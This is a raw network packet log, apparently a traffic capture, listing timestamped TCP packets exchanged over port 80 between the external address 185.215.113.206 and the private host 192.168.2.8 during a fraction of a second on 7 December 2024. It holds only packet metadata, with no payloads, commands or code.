Dec 7, 2024 15:06:49.070127010 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.070188999 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.070867062 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.070935965 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.070985079 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.071759939 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.071856022 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.071902990 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.072642088 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.072685003 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.072753906 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.073507071 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.073551893 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.073704958 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.074423075 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.074470997 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.074479103 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.075253963 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.075308084 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.075352907 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.075392008 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.076122999 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.076186895 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.076231956 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.076994896 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.077121973 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.077132940 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.077162981 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.077879906 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.077994108 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.078083038 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.078788996 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.078893900 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.078937054 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.079617023 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.079662085 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.079722881 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.080543041 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.080585957 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.080641031 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.081413031 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.081454039 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.081486940 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.081671953 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.082257986 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.082359076 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.082406998 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.083127022 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.083197117 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.083241940 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.084028006 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.084156036 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.084203959 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.084853888 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.084927082 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.084958076 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.085674047 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.085798979 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.085839033 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.085850954 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.085885048 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.086616993 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.086734056 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.086777925 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.087536097 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.087600946 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.087646008 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.088363886 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.088408947 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.088432074 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.089198112 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.089250088 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.192909956 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.192936897 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.192986012 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.193017006 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.193357944 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.193409920 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.193485022 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.193566084 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.193953991 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.194000006 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.194056988 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.194101095 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.194808960 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.194855928 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.194915056 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.194958925 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.195780993 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.195821047 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.195828915 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.195858955 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.196561098 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.196605921 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.196647882 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.196696997 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.197460890 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.197510958 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.197565079 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.197612047 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.198364019 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.198414087 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.198447943 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.198493958 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.199194908 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.199215889 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.199239969 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.199251890 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.200248957 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.200300932 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.200529099 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.200577021 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.200988054 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.201034069 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.201035023 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.201076031 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.201828003 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.201874971 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.201944113 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.201991081 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.202691078 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.202739000 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.202795982 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.202843904 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.203638077 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.203686953 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.203747034 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.203797102 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.204562902 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.204608917 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.204636097 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.204682112 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.205360889 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.205408096 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.205470085 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.205514908 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.206279993 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.206326962 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.206330061 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.206370115 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.207242966 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.207293034 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.207355022 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.207396984 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.208039999 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.208089113 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.208093882 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.208139896 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.208837032 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.208883047 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.208884001 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.208920956 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.209678888 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.209724903 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.209791899 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.209835052 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.210555077 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.210602999 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.210681915 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.210727930 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.211431980 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.211477041 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.211545944 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.211595058 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.212362051 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.212409973 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.212502003 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.212558985 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.213227034 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.213275909 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.213330030 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.213380098 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.214075089 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.214117050 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.214246988 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.214293003 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.214941978 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.214987993 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.215039015 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.215081930 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.215918064 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.215962887 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.215971947 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.216013908 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.216717005 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.216756105 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.216763973 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.216794968 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.217611074 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.217660904 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.217703104 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.217742920 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.218455076 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.218508959 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.288355112 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.288450003 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.288593054 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.288703918 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.288825035 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.288878918 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.289572954 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.289684057 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.289859056 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.290019035 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.290071964 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.290781021 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.290885925 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.290935040 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.291690111 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.291740894 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.291785002 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.292524099 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.292576075 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.292686939 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.293406010 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.293476105 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.293526888 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.293591022 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.294275999 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.294419050 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.294467926 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.295137882 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.295257092 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.295306921 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.296073914 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.296201944 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.296245098 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.296911955 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.297142029 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.297188044 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.297828913 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.297956944 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.298003912 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.298677921 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.298805952 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.298861027 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.299510956 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.299552917 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.299562931 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.299596071 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.300442934 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.300503969 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.300551891 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.301366091 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.301466942 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.301516056 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.302182913 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.302316904 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.302366972 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.303025961 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.303105116 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.303160906 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.303946972 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.304058075 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.304104090 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.304806948 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.304855108 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.304944038 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.305658102 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.305670977 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.305696964 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.305752993 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.305792093 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.306513071 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.306581974 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.306638956 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.306734085 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.307419062 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.307461977 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.307466030 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.307496071 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.385627031 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.385701895 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.385818005 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.385864019 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.386023045 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.386071920 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.386120081 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.386162996 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.386883974 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.386929989 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.386960030 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.387007952 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.387778997 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.387825012 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.387901068 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.387947083 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.388648033 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.388694048 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.388731956 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.388778925 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.389492989 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.389540911 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.389542103 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.389595985 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.390388966 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.390533924 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.390736103 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.390782118 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.391268969 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.391316891 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.391354084 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.391393900 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.392184019 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.392231941 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.392262936 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.392303944 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.393037081 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.393084049 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.393145084 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.393189907 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.393872023 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.393918037 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.394001961 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.394047022 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.394750118 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.394798040 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.394855976 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.394901037 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.395616055 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.395659924 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.395720005 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.395766020 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.396599054 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.396647930 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.396678925 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.396718025 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.397391081 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.397442102 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.397481918 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.397528887 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.398264885 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.398317099 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.398430109 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.398474932 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.399142981 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.399188995 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.399262905 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:49.399302959 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:49.400000095 CET	80	49738	185.215.113.206	192.168.2.8
